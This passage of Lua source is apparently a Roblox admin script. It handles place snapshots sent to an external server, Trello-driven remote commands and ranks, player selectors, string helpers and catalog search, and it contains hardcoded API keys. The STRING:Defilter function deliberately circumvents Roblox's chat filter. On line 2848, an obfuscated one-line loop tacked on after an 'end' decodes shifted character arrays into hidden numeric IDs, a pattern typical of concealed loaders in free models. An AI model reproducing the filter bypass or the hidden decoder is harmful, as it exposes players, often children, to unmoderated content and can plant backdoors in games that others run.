  2372. --idk
  2373. else
  2374. Skip = true
  2375. end
  2376. elseif CORE:FindType(Obj, "FileMesh") then
  2377. Skip = true
  2378. end
  2379.  
  2380. if not Data.Shape and not Skip then
  2381. if ypcall(function() return Obj.Shape end) then
  2382. Data.Shape = string.sub(Obj.Shape.Name,14)
  2383. if string.sub(Data.Shape,1,1) == "." then
  2384. Data.Shape = string.sub(Data.Shape,2)
  2385. end
  2386. if Data.Shape == "Cylinder" then
  2387. Z = Z + math.pi/2
  2388. end
  2389. else
  2390. Data.Shape = "Block"
  2391. end
  2392. end
  2393.  
  2394. if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
  2395. Data.Label = string.gsub(Obj.Parent.Name, "'", "")
  2396. end
  2397.  
  2398. if not Skip then
  2399. Data.Color = GUI:Color3ToHex(Obj.Color);
  2400. Data.Size = Size;
  2401. Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
  2402. Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
  2403. Data.Transparency = STRING:StringRound(Obj.Transparency);
  2404. Data.Reflectance = STRING:StringRound(Obj.Reflectance);
  2405. Data.Textures = {};
  2406. Data.Material = string.sub(tostring(Obj.Material),15);
  2407.  
  2408. for _,Sub in pairs(Obj:GetChildren()) do
  2409. if Sub:IsA("Decal") then
  2410. local Texture = string.match(Sub.Texture, "%d+")
  2411. if Sub.Texture == "rbxasset://textures/face.png" then
  2412. Texture = "FACE"
  2413. end
  2414. Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
  2415. end
  2416. end
  2417.  
  2418. PartAmount = PartAmount + 1
  2419. table.insert(PlaceData.Parts, Data)
  2420.  
  2421. if PartAmount >= MaxPartAmount then
  2422. break
  2423. end
  2424. end
  2425. end
  2426. end
  2427. if #Obj:GetChildren() > 0 then
  2428. Scan(Obj)
  2429. end
  2430. end
  2431. end
  2432. Scan(Workspace)
  2433.  
  2434. PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
  2435. PlaceData.Other.PartAmount = PartAmount;
  2436. PlaceJSON = Server.HS:JSONEncode(PlaceData)
  2437.  
  2438. local Res = "Could not get response"
  2439. local function SendData()
  2440. Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
  2441. end
  2442. if Stopypcall == true then SendData() else ypcall(SendData) end
  2443. if PrintResponse then print(Res) end
  2444.  
  2445. print("Sent snapshot")
  2446. end
  2447.  
  2448.  
  2449. function REMOTE:DefineWord(Word, Source)
  2450. if not Word then return end
  2451. if not Source then Source = "all" end
  2452.  
  2453. local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
  2454. if Response then
  2455. local Decode = REMOTE:Decode(Response)
  2456. if #Decode > 0 then
  2457. return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
  2458.  
  2459. ]]..Decode[1]["text"]
  2460. else
  2461. return "Invalid English word"
  2462. end
  2463. else
  2464. return "Cannot connect to database"
  2465. end
  2466. end
  2467.  
  2468. function REMOTE:DownloadJoke(Speaker)
  2469. local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
  2470. local Joke = nil
  2471. if Res then
  2472. local _, Start = string.find(Res, "</h2>")
  2473. local End, _ = string.find(string.sub(Res, Start), "</td>")
  2474.  
  2475. Joke = string.sub(Res, Start, End + 1 + Start - 5)
  2476. Joke = string.gsub(Joke, "\n", "")
  2477. Joke = string.gsub(Joke, " ", "") -- tab
  2478. Joke = string.gsub(Joke, "</ul>", "")
  2479. Joke = string.gsub(Joke, "<ul>", "")
  2480. Joke = string.gsub(Joke, "</li>", [[
  2481.  
  2482. ]])
  2483. Joke = string.gsub(Joke, "<li>", "")
  2484. Joke = string.gsub(Joke, "</p>", "")
  2485. Joke = string.gsub(Joke, "<p>", "")
  2486. Joke = string.gsub(Joke, "<", "")
  2487. Joke = string.gsub(Joke, ">", "")
  2488. end
  2489.  
  2490. return Joke
  2491. end
  2492.  
  2493. function REMOTE:GetAddon()
  2494. return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
  2495. end
  2496.  
  2497. function REMOTE:TrelloGetAdminBoard()
  2498. local BoardsJSON,Boards,ReturnBoard
  2499.  
  2500. ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
  2501.  
  2502. if BoardsJSON then
  2503. Boards = REMOTE:Decode(BoardsJSON)
  2504. end
  2505. if Boards then
  2506. for _,Board in pairs(Boards) do
  2507. if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
  2508. ReturnBoard = Board
  2509. break
  2510. end
  2511. end
  2512. if not ReturnBoard then -- create board if not created
  2513. print("Creating Trello Board")
  2514. local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
  2515. local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
  2516. ReturnBoard = REMOTE:Decode(BoardJSON)
  2517. end
  2518. end
  2519. return ReturnBoard
  2520. end
  2521.  
  2522. function REMOTE:TrelloGetAdminLists(Board)
  2523. local Required = {}
  2524. local ListJSON,Lists
  2525. local ReturnLists = {}
  2526.  
  2527. for _,List in pairs(Trello.RequiredLists) do
  2528. table.insert(Required, List)
  2529. end
  2530.  
  2531. ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
  2532.  
  2533. if ListJSON then
  2534. Lists = REMOTE:Decode(ListJSON)
  2535. end
  2536. if Lists then
  2537. for _,List in pairs(Lists) do
  2538. for Num,Rel in pairs(Required) do
  2539. if List.name == Rel.name then
  2540. table.remove(Required, Num)
  2541. table.insert(ReturnLists, List)
  2542. end
  2543. end
  2544. end
  2545. for _,Rel in pairs(Required) do
  2546. local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
  2547. table.insert(ReturnLists, REMOTE:Decode(ListJSON))
  2548. end
  2549. end
  2550.  
  2551. return ReturnLists
  2552. end
  2553.  
  2554. function REMOTE:TrelloCacheData(Lists)
  2555. for _,List in pairs(Lists) do
  2556. local CardsJSON,Cards
  2557. ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
  2558. if CardsJSON then
  2559. Cards = REMOTE:Decode(CardsJSON)
  2560. end
  2561. if Cards then
  2562. local TemplateCards = nil
  2563. for _,TemplateList in pairs(Trello.RequiredLists) do
  2564. if TemplateList.name == List.name then
  2565. TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
  2566. break
  2567. end
  2568. end
  2569.  
  2570. for _,TemplateCard in pairs(TemplateCards) do
  2571. local CardExists = false
  2572. for _,Card in pairs(Cards) do
  2573. if Card.name == TemplateCard.name and Card.closed == false then
  2574. CardExists = true
  2575. end
  2576. end
  2577. if not CardExists then
  2578. print("Creating card "..TemplateCard.name)
  2579. local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
  2580. table.insert(Cards, REMOTE:Decode(NewCardJSON))
  2581. end
  2582. end
  2583.  
  2584. if List.name == "Ranked" then
  2585. for _,Card in pairs(Cards) do
  2586. if Settings.Ranks[Card.name] and Card.closed == false then
  2587. Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
  2588. end
  2589. end
  2590. elseif List.name == "Settings" then
  2591. for _,Card in pairs(Cards) do
  2592. if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
  2593. Trello.ToggleChecklist = Card.idChecklists[1]
  2594. elseif Card.name == "Command Execution" then
  2595. Trello.CommandID = Card.id
  2596. end
  2597. end
  2598. end
  2599. end
  2600. end
  2601. end
  2602.  
  2603. function REMOTE:TrelloHandleData(IgnoreCommand)
  2604. local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
  2605. if ToggleSettingsJSON then
  2606. ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
  2607. if Settings.LinkedAccount == "" then
  2608. local NewSettings = {}
  2609. for _,Item in pairs(ToggleSettings.checkItems) do
  2610. NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
  2611. end
  2612. Settings.Fun = NewSettings["Fun Commands Enabled"]
  2613. Settings.ServerLocked = NewSettings["Server Locked"]
  2614. Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
  2615. end
  2616. else
  2617. return false
  2618. end
  2619.  
  2620. local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
  2621. if CommandChatJSON then
  2622. CommandChat = REMOTE:Decode(CommandChatJSON)
  2623. local ClosestDT = 0
  2624. for _,ChatData in pairs(CommandChat) do
  2625. local DT = STRING:ConvertDateTime(ChatData.date)
  2626. ClosestDT = math.max(ClosestDT, DT)
  2627.  
  2628. if not IgnoreCommand and DT > Trello.LastCommandDT then
  2629. print("Executing Remote Trello Command")
  2630. CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
  2631. end
  2632. end
  2633. Trello.LastCommandDT = ClosestDT
  2634. else
  2635. return false
  2636. end
  2637.  
  2638. for Rank,ID in pairs(Trello.RankChecklistCache) do
  2639. local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
  2640. if ChecklistJSON then
  2641. Checklist = REMOTE:Decode(ChecklistJSON)
  2642.  
  2643. for _,Item in pairs(Checklist.checkItems) do
  2644. if Item.state == "complete" then
  2645. if RANK:ConvertRank(Rank) < 0 then
  2646. if not RANK:ScanExileList(Item.name) then
  2647. table.insert(Settings.Ranks[Rank], Item.name)
  2648. end
  2649. elseif RANK:ConvertRank(Rank) > 0 then
  2650. if not RANK:ScanAdminList(Item.name) then
  2651. table.insert(Settings.Ranks[Rank], Item.name)
  2652. end
  2653. end
  2654. elseif Item.state == "incomplete" then
  2655. for Num,Name in pairs(Settings.Ranks[Rank]) do
  2656. if string.lower(Name) == string.lower(Item.name) then
  2657. table.remove(Settings.Ranks[Rank], Num)
  2658. end
  2659. end
  2660. end
  2661. end
  2662. else
  2663. return false
  2664. end
  2665. end
  2666. return true
  2667. end
  2668.  
  2669. -- String functions --
  2670.  
  2671. function STRING:ConvertDateTime(DateTime)
  2672. local Num = 0
  2673. local TotalTime = 0
  2674. for i in string.gmatch(DateTime, "%d+") do
  2675. Num = Num + 1
  2676. DTNum = tonumber(i)
  2677. if Num == 1 then
  2678. TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
  2679. elseif Num == 2 then
  2680. TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
  2681. elseif Num == 3 then
  2682. TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
  2683. elseif Num == 4 then
  2684. TotalTime = TotalTime + DTNum * 60 * 60 -- hour
  2685. elseif Num == 5 then
  2686. TotalTime = TotalTime + DTNum * 60 -- minute
  2687. elseif Num == 6 then
  2688. TotalTime = TotalTime + DTNum -- second
  2689. end
  2690. end
  2691.  
  2692. return TotalTime
  2693. end
  2694.  
  2695. function STRING:TrelloStateConvert(State)
  2696. if State == "complete" then
  2697. return true
  2698. else
  2699. return false
  2700. end
  2701. end
  2702.  
  2703. function STRING:StringRound(Number)
  2704. Number = Number * 100
  2705. if Number >= 0.5 then
  2706. return tostring(math.ceil(Number)/100)
  2707. else
  2708. return tostring(math.floor(Number)/100)
  2709. end
  2710.  
  2711. return Number
  2712. end
  2713.  
  2714. function STRING:GetSplit(String, NumArgs, BetSplit)
  2715. if not String then return nil end
  2716. if BetSplit == nil then BetSplit = " " end
  2717. if NumArgs == nil then NumArgs = math.huge end
  2718.  
  2719. if NumArgs <= 0 then return {String} end
  2720.  
  2721. local RecentParse = 1
  2722. local Args = {}
  2723. for i = 1,NumArgs do
  2724. local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  2725. if Find1 and Find2 then
  2726. table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  2727. RecentParse = Find2 + 1
  2728. else
  2729. break
  2730. end
  2731. end
  2732. table.insert(Args,string.sub(String,RecentParse,#String))
  2733. return Args
  2734. end
  2735.  
  2736. function STRING:Defilter(String)
  2737. local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  2738. if RobloxApprove.Text == "Label" and String ~= "Label" then
  2739. local NewString = ""
  2740. for i = 1,#String,3 do
  2741. NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  2742. end
  2743. return NewString
  2744. else
  2745. return String
  2746. end
  2747. end
  2748.  
  2749. function STRING:Filter(String, From, To) -- #### you, roblox
  2750. if From then
  2751. if To then
  2752. return game:GetService("Chat"):FilterStringAsync(String, From, To)
  2753. else
  2754. return game:GetService("Chat"):FilterStringForBroadcast(String, From)
  2755. end
  2756. else
  2757. return String
  2758. end
  2759. end
  2760.  
  2761. function STRING:DetermineFilter(String, From, To)
  2762. if ShouldFilter then
  2763. return STRING:Filter(String, From, To)
  2764. else
  2765. return STRING:Defilter(String)
  2766. end
  2767. end
  2768.  
  2769. function STRING:LeetSpeak(Input)
  2770. if tostring(Input) then Input = string.upper(tostring(Input)) else return end
  2771. Input = string.gsub(Input, "LEET", "1337")
  2772. Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
  2773. Input = string.gsub(Input, "E", "3")
  2774. Input = string.gsub(Input, "O", "0")
  2775. Input = string.gsub(Input, "A", "4")
  2776. Input = string.gsub(Input, "X", "x")
  2777. Input = string.gsub(Input, "I", "1")
  2778. Input = string.gsub(Input, "S", "$")
  2779. return Input
  2780. end
  2781.  
  2782. function STRING:FormatReplace(Player, Input, From)
  2783. local Output = Input
  2784. for _,ReplaceData in pairs(StringReplacements) do
  2785. local ReplaceString = ReplaceData[1]
  2786. local ReplaceStrings = {}
  2787. if type(ReplaceString) == "table" then
  2788. ReplaceStrings = ReplaceString
  2789. else
  2790. ReplaceStrings = {ReplaceString}
  2791. end
  2792. for _,ReplaceString in pairs(ReplaceStrings) do
  2793. if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
  2794. local Replacement = ReplaceData[4](Player)
  2795. if type(Replacement) == "string" then
  2796. Output = string.gsub(Output, ReplaceString, Replacement)
  2797. else
  2798. print(ReplaceString.." cannot be replaced")
  2799. end
  2800. end
  2801. end
  2802. end
  2803. if From then
  2804. return STRING:DetermineFilter(Output, From, Player)
  2805. else
  2806. return STRING:DetermineFilter(Output, Player)
  2807. end
  2808. end
  2809.  
  2810. function STRING:EncodeSpecialChars(Input)
  2811. return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
  2812. end
  2813.  
  2814. function STRING:StringToBool(String)
  2815. if String == "true" then
  2816. return true
  2817. else
  2818. return false
  2819. end
  2820. end
  2821.  
  2822. function STRING:BoolString(Value)
  2823. if type(Value) == "boolean" then
  2824. if Value == true then
  2825. return "YES"
  2826. elseif Value == false then
  2827. return "NO"
  2828. end
  2829. else
  2830. return "NO"
  2831. end
  2832. end
  2833.  
  2834. function STRING:MakeAvoidance(Length)
  2835. if not Length then
  2836. Length = 32
  2837. end
  2838. local Avoidance = ""
  2839. for i = 1,Length do
  2840. Num = math.random(1,2)
  2841. if Num == 1 then
  2842. Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  2843. else
  2844. Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  2845. end
  2846. end
  2847. return Avoidance
  2848. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  2849.  
  2850. function STRING:FindAge(Days) -- By LuaModelmaker
  2851. local Years = math.floor(Days/365)
  2852. local OtherDays = math.fmod(Days, 365)
  2853. if Years > 1 then
  2854. return Years.." years and "..OtherDays.." days"
  2855. elseif Years == 1 then
  2856. return Years.." year and "..OtherDays.." days"
  2857. elseif Years == 0 then
  2858. return "(No years) "..OtherDays.." days"
  2859. end
  2860. end
  2861.  
  2862. function STRING:UnpackArgs(...)
  2863. local Pack = {...}
  2864. if type(Pack[1]) == "table" then Pack = Pack[1] end
  2865. local ReturnString = table.concat(Pack, ", ")
  2866. return ReturnString
  2867. end
  2868.  
  2869. function STRING:GetComma(Num)
  2870. local Formatted = Num
  2871. while true do
  2872. Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  2873. if _ == 0 then
  2874. break
  2875. end
  2876. end
  2877. return Formatted
  2878. end
  2879.  
  2880. function STRING:DecodeUTF8(Value)
  2881. local function DecodeString(Input)
  2882. if type(Input) == "string" then
  2883. for Find,Rep in pairs(HTMLDecode) do
  2884. Input = string.gsub(Input, "&#"..Find..";", Rep)
  2885. end
  2886. Input = string.gsub(Input, "&quot;", "'")
  2887. end
  2888. return Input
  2889. end
  2890. if type(Value) == "table" then
  2891. for Index,Var in pairs(Value) do
  2892. Value[Index] = DecodeString(Var)
  2893. end
  2894. elseif type(Value) == "string" then
  2895. Value = DecodeString(Value)
  2896. end
  2897. return Value
  2898. end
  2899.  
  2900. function STRING:IsSpacer(Input)
  2901. if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
  2902. return true
  2903. else
  2904. return false
  2905. end
  2906. end
  2907.  
  2908. function STRING:IsVowel(Input)
  2909. Input = string.lower(tostring(Input))
  2910. if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  2911. return true
  2912. else
  2913. return false
  2914. end
  2915. end
  2916.  
  2917. function STRING:ValidE(Input)
  2918. if not Input then return nil end
  2919. if string.lower(Input) == "e" or Input == "~" then
  2920. return true
  2921. else
  2922. return false
  2923. end
  2924. end
  2925.  
  2926. function STRING:Scan(String, Speaker)
  2927. local ReturnPlayers,ExcludeList = {},{}
  2928. if not String then String = "" end
  2929. if not Speaker then print("NO SPEAKER") end
  2930.  
  2931. if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2932. String = string.sub(String, 13)
  2933. else
  2934. String = string.lower(String)
  2935. end
  2936. local Words = STRING:GetSplit(String, nil, "/")
  2937. for _,Word in pairs(Words) do
  2938. if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2939. table.insert(ReturnPlayers, Speaker)
  2940. elseif Word == "all" or Word == "everyone" then
  2941. for _,Player in pairs(Server.Players:GetPlayers()) do
  2942. table.insert(ReturnPlayers, Player)
  2943. end
  2944. elseif Word == "others" or Word == "notme" then
  2945. for _,Player in pairs(Server.Players:GetPlayers()) do
  2946. if Player ~= Speaker then
  2947. table.insert(ReturnPlayers, Player)
  2948. end
  2949. end
  2950. elseif Word == "noobs" then
  2951. for _,Player in pairs(Server.Players:GetPlayers()) do
  2952. if Player.AccountAge < 365 then
  2953. table.insert(ReturnPlayers, Player)
  2954. end
  2955. end
  2956. elseif Word == "nonnoobs" then
  2957. for _,Player in pairs(Server.Players:GetPlayers()) do
  2958. if Player.AccountAge >= 365 then
  2959. table.insert(ReturnPlayers, Player)
  2960. end
  2961. end
  2962. elseif Word == "random" then
  2963. local RandomPlayers = {}
  2964. for _,Player in pairs(Server.Players:GetPlayers()) do
  2965. if Player ~= Speaker then
  2966. table.insert(RandomPlayers, Player)
  2967. end
  2968. end
  2969. table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  2970. elseif Word == "guests" then
  2971. for _,Player in pairs(Server.Players:GetPlayers()) do
  2972. if string.sub(Player.Name,1,6) == "Guest " then
  2973. table.insert(ReturnPlayers, Player)
  2974. end
  2975. end
  2976. elseif Word == "lowers" then
  2977. for _,Player in pairs(Server.Players:GetPlayers()) do
  2978. if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  2979. table.insert(ReturnPlayers, Player)
  2980. end
  2981. end
  2982. elseif Word == "uppers" then
  2983. for _,Player in pairs(Server.Players:GetPlayers()) do
  2984. if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  2985. table.insert(ReturnPlayers, Player)
  2986. end
  2987. end
  2988. elseif Word == "nbcs" then
  2989. for _,Player in pairs(Server.Players:GetPlayers()) do
  2990. if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  2991. table.insert(ReturnPlayers, Player)
  2992. end
  2993. end
  2994. elseif Word == "bcs" then
  2995. for _,Player in pairs(Server.Players:GetPlayers()) do
  2996. if Player.MembershipType == Enum.MembershipType.BuildersClub then
  2997. table.insert(ReturnPlayers, Player)
  2998. end
  2999. end
  3000. elseif Word == "tbcs" then
  3001. for _,Player in pairs(Server.Players:GetPlayers()) do
  3002. if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  3003. table.insert(ReturnPlayers, Player)
  3004. end
  3005. end
  3006. elseif Word == "obcs" then
  3007. for _,Player in pairs(Server.Players:GetPlayers()) do
  3008. if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  3009. table.insert(ReturnPlayers, Player)
  3010. end
  3011. end
  3012. elseif Word == "allbcs" then
  3013. for _,Player in pairs(Server.Players:GetPlayers()) do
  3014. if Player.MembershipType ~= Enum.MembershipType.None then
  3015. table.insert(ReturnPlayers, Player)
  3016. end
  3017. end
  3018. elseif Word == "nonadmins" then
  3019. for _,Player in pairs(Server.Players:GetPlayers()) do
  3020. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3021. if IsAdminTrue == false then
  3022. table.insert(ReturnPlayers, Player)
  3023. end
  3024. end
  3025. elseif Word == "admins" then
  3026. for _,Player in pairs(Server.Players:GetPlayers()) do
  3027. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  3028. if IsAdminTrue == true then
  3029. table.insert(ReturnPlayers, Player)
  3030. end
  3031. end
  3032. elseif Word == "friends" then
  3033. for _,Player in pairs(Server.Players:GetPlayers()) do
  3034. if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
  3035. table.insert(ReturnPlayers, Player)
  3036. end
  3037. end
  3038. elseif string.sub(Word,1,5) == "team-" then
  3039. for _,Player in pairs(Server.Players:GetPlayers()) do
  3040. if Player.Neutral == false then
  3041. local InTeam = false
  3042. for _,Team in pairs(Teams:GetTeams()) do
  3043. if Team.TeamColor == Player.TeamColor then
  3044. if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  3045. InTeam = true
  3046. end
  3047. end
  3048. end
  3049. if InTeam == true then
  3050. table.insert(ReturnPlayers, Player)
  3051. end
  3052. end
  3053. end
  3054. elseif string.sub(Word,1,4) == "not-" then
  3055. local NameArg = string.sub(Word,5)
  3056.  
  3057. for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  3058. table.insert(ExcludeList, Player)
  3059. end
  3060. elseif string.sub(Word,1,7) == "radius-" then
  3061. local DidExe = false
  3062. local NumArg = tonumber(string.sub(Word,8))
  3063.  
  3064. if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  3065. for _,Player in pairs(Server.Players:GetChildren()) do
  3066. if Player.Character and Player.Character:FindFirstChild("Torso") then
  3067. if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  3068. DidExe = true
  3069. table.insert(ReturnPlayers, Player)
  3070. end
  3071. end
  3072. end
  3073. end
  3074.  
  3075. if DidExe then coroutine.wrap(function()
  3076. local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  3077. local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
  3078.  
  3079. for i = 0,0.5,0.02 do
  3080. Part.Transparency = 0.5+i
  3081. wait()
  3082. end
  3083. Part:Destroy()
  3084. end)() end
  3085. elseif string.sub(Word,1,3) == "id-" then
  3086. table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
  3087. else
  3088. if Word ~= "" then
  3089. for _,Player in pairs(Server.Players:GetPlayers()) do
  3090. if string.sub(string.lower(Player.Name),1,#Word) == Word then
  3091. table.insert(ReturnPlayers, Player)
  3092. end
  3093. end
  3094. else
  3095. table.insert(ReturnPlayers, Speaker)
  3096. end
  3097. end
  3098. end
  3099. for _,Player in pairs(ExcludeList) do
  3100. if Player and Player.Parent ~= nil then
  3101. for Num,Player2 in pairs(ReturnPlayers) do
  3102. if Player2 == Player then table.remove(ReturnPlayers, Num) end
  3103. end
  3104. end
  3105. end
  3106. for Num,Player in pairs(ReturnPlayers) do
  3107. if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  3108. end
  3109.  
  3110. local PlayerDump = {}
  3111. for _,Player in pairs(ReturnPlayers) do
  3112. PlayerDump[Player] = true
  3113. end
  3114. ReturnPlayers = {}
  3115. for Player,_ in pairs(PlayerDump) do
  3116. table.insert(ReturnPlayers, Player)
  3117. end
  3118.  
  3119. return ReturnPlayers
  3120. end
  3121.  
  3122. -- Market functions --
  3123.  
  3124. function MARKET:GetImageFormat(ID)
  3125. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  3126. local NewID = ID + 1
  3127. for i = 1,100 do
  3128. NewID = NewID -1
  3129. local Product = nil
  3130. ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  3131. if Product then
  3132. if Product == 1 then
  3133. break
  3134. end
  3135. end
  3136. if i == 100 then NewID = ID end
  3137. end
  3138. return NewID
  3139. end end
  3140. end
  3141.  
  3142. function MARKET:GetItemInfo(ID, Cache)
  3143. local Product = MarketCache[ID]
  3144. if not Cache or not Product then
  3145. repeat wait()
  3146. ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  3147. until Product ~= MarketCache[ID]
  3148. end
  3149. MarketCache[ID] = Product
  3150. return Product
  3151. end
  3152.  
  3153. function MARKET:SearchItem(Category, Query, Subcategory)
  3154. local URLAdd = ""
  3155. if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  3156. local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  3157. if JSON then
  3158. local Results = REMOTE:Decode(JSON)
  3159. if Results then
  3160. for Index,Info in pairs(Results) do
  3161. Info = STRING:DecodeUTF8(Info)
  3162. Results[Index] = Info
  3163. MarketCache[Info.AssetId] = {
  3164. AssetId = Info.AssetId;
  3165. AssetTypeId = Info.AssetTypeID;
  3166. ContentRatingTypeId = Info.ContentRatingTypeID;
  3167. Created = Info.CreatedDate;
  3168. Creator = {Name = Info.Creator, Id = Info.CreatorID};
  3169. Description = Info.Description;
  3170. IsForSale = Info.IsForSale;
  3171. IsLimited = Info.IsLimited;
  3172. IsLimitedUnique = Info.IsLimitedUnique;
  3173. IsNew = Info.IsNew;
  3174. IsPublicDomain = Info.IsPublicDomain;
  3175. MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  3176. Name = Info.Name;
  3177. PriceInRobux = Info.PriceInRobux;
  3178. PriceInTickets = Info.PriceInTickets;
  3179. ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  3180. Remaining = Info.Remaining;
  3181. Sales = Info.Sales;
  3182. Updated = Info.Updated;
  3183. }
  3184. end
  3185. return Results
  3186. end
  3187. end
  3188. end
  3189.  
  3190. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  3191. if not Player or not Category or not Query then return nil end
  3192. local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  3193. local Items = MARKET:SearchItem(Category, Query, Subcategory)
  3194. if Items then
  3195. if #Items ~= 0 then
  3196. local List,Correlate = {},{}
  3197. for Num,Info in pairs(Items) do
  3198. local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  3199. table.insert(List, Display)
  3200. Correlate[Display[1]] = Info.AssetId
  3201. end
  3202. CloseGui:Invoke()
  3203.  
  3204. local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  3205. Clicked.Event:connect(function(ClickName)
